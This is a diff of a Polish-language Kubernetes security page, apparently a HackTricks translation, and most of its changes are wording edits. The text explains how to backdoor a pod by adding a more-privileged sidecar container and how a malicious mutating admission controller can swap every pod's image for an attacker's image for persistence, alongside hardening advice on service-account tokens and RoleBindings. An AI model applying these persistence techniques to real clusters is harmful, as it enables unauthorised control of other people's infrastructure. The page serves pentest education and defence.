||||
#spec:
|
||||
# securityContext:
|
||||
# runAsUser: 1000
|
||||
# runAsGroup: 3000
|
||||
# fsGroup: 2000
|
||||
# volumes:
|
||||
# - name: sec-ctx-vol
|
||||
# emptyDir: {}
|
||||
# containers:
|
||||
# - name: sec-ctx-demo
|
||||
# image: busybox
|
||||
command:
|
||||
[
|
||||
"sh",
|
||||
"-c",
|
||||
"apt update && apt install iptables -y && iptables -L && sleep 1h",
|
||||
]
|
||||
securityContext:
|
||||
capabilities:
|
||||
add: ["NET_ADMIN"]
|
||||
# volumeMounts:
|
||||
# - name: sec-ctx-vol
|
||||
# mountPath: /data/demo
|
||||
# securityContext:
|
||||
# allowPrivilegeEscalation: true
|
||||
```
|
||||
Zobacz logi proxy:
|
||||
```bash
|
||||
kubectl logs app -C proxy
|
||||
spec:
|
||||
containers:
|
||||
- name: main-application
|
||||
image: nginx
|
||||
- name: sidecar-container
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Na przykład, aby wprowadzić backdoora do istniejącego poda z nowym kontenerem, możesz po prostu dodać nowy kontener w specyfikacji. Zauważ, że możesz **dać więcej uprawnień** drugiemu kontenerowi, których pierwszy nie będzie miał.
|
||||
|
||||
Więcej informacji na: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Złośliwy Kontroler Przyjęć
|
||||
|
||||
Kontroler przyjęć **przechwytuje żądania do serwera API Kubernetes** przed zapisaniem obiektu, ale **po uwierzytelnieniu** **i autoryzacji** żądania.
|
||||
|
||||
Jeśli atakujący w jakiś sposób zdoła **wstrzyknąć Złośliwy Kontroler Przyjęć**, będzie mógł **modyfikować już uwierzytelnione żądania**. Będzie miał potencjalnie możliwość eskalacji uprawnień, a co bardziej zwykle, utrzymania się w klastrze.
|
||||
Jeśli atakujący w jakiś sposób zdoła **wstrzyknąć Kontroler Przyjęć Mutacji**, będzie mógł **modyfikować już uwierzytelnione żądania**. Będzie miał potencjalnie możliwość eskalacji uprawnień, a zazwyczaj także utrzymania się w klastrze.
|
||||
|
||||
**Przykład z** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -647,7 +666,7 @@ kubectl describe po nginx | grep "Image: "
|
||||
|
||||
Jak widać na powyższym obrazie, próbowaliśmy uruchomić obraz `nginx`, ale ostatecznie wykonany obraz to `rewanthtammana/malicious-image`. Co się właśnie stało!!?
|
||||
|
||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
#### Techniczne szczegóły
|
||||
|
||||
Skrypt `./deploy.sh` ustanawia kontroler dostępu z mutującym webhookiem, który modyfikuje żądania do API Kubernetes zgodnie z określonymi w nim liniami konfiguracyjnymi, wpływając na zaobserwowane wyniki:
|
||||
```
|
||||
@@ -670,15 +689,15 @@ Powyższy fragment zastępuje pierwszy obraz kontenera w każdym podzie na `rewa
|
||||
### **Wyłączenie automatycznego montowania tokenów konta usługi**
|
||||
|
||||
- **Pody i konta usługi**: Domyślnie pody montują token konta usługi. Aby zwiększyć bezpieczeństwo, Kubernetes pozwala na wyłączenie tej funkcji automatycznego montowania.
|
||||
- **Jak zastosować**: Ustaw `automountServiceAccountToken: false` w konfiguracji kont usług lub podów począwszy od wersji Kubernetes 1.6.
|
||||
- **Jak zastosować**: Ustaw `automountServiceAccountToken: false` w konfiguracji konta usługi lub podów, począwszy od wersji Kubernetes 1.6.
|
||||
|
||||
### **Ograniczone przypisanie użytkowników w RoleBindings/ClusterRoleBindings**
|
||||
### **Restrykcyjne przypisanie użytkowników w RoleBindings/ClusterRoleBindings**
|
||||
|
||||
- **Selektywne włączenie**: Upewnij się, że tylko niezbędni użytkownicy są włączani w RoleBindings lub ClusterRoleBindings. Regularnie audytuj i usuwaj nieistotnych użytkowników, aby utrzymać ścisłe bezpieczeństwo.
|
||||
- **Selektywne włączenie**: Upewnij się, że tylko niezbędni użytkownicy są włączeni w RoleBindings lub ClusterRoleBindings. Regularnie audytuj i usuwaj nieistotnych użytkowników, aby utrzymać ścisłe bezpieczeństwo.
|
||||
|
||||
### **Role specyficzne dla przestrzeni nazw zamiast ról ogólnoklastrowych**
|
||||
### **Role specyficzne dla namespace zamiast ról ogólnych**
|
||||
|
||||
- **Role vs. ClusterRoles**: Preferuj używanie ról i RoleBindings dla uprawnień specyficznych dla przestrzeni nazw zamiast ClusterRoles i ClusterRoleBindings, które mają zastosowanie w całym klastrze. Takie podejście oferuje dokładniejszą kontrolę i ogranicza zakres uprawnień.
|
||||
- **Role vs. ClusterRoles**: Preferuj używanie Ról i RoleBindings dla uprawnień specyficznych dla namespace zamiast ClusterRoles i ClusterRoleBindings, które mają zastosowanie w całym klastrze. Takie podejście oferuje dokładniejszą kontrolę i ogranicza zakres uprawnień.
|
||||
|
||||
### **Używaj narzędzi automatycznych**
|
||||
|
||||
@@ -699,5 +718,7 @@ https://github.com/aquasecurity/kube-bench
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user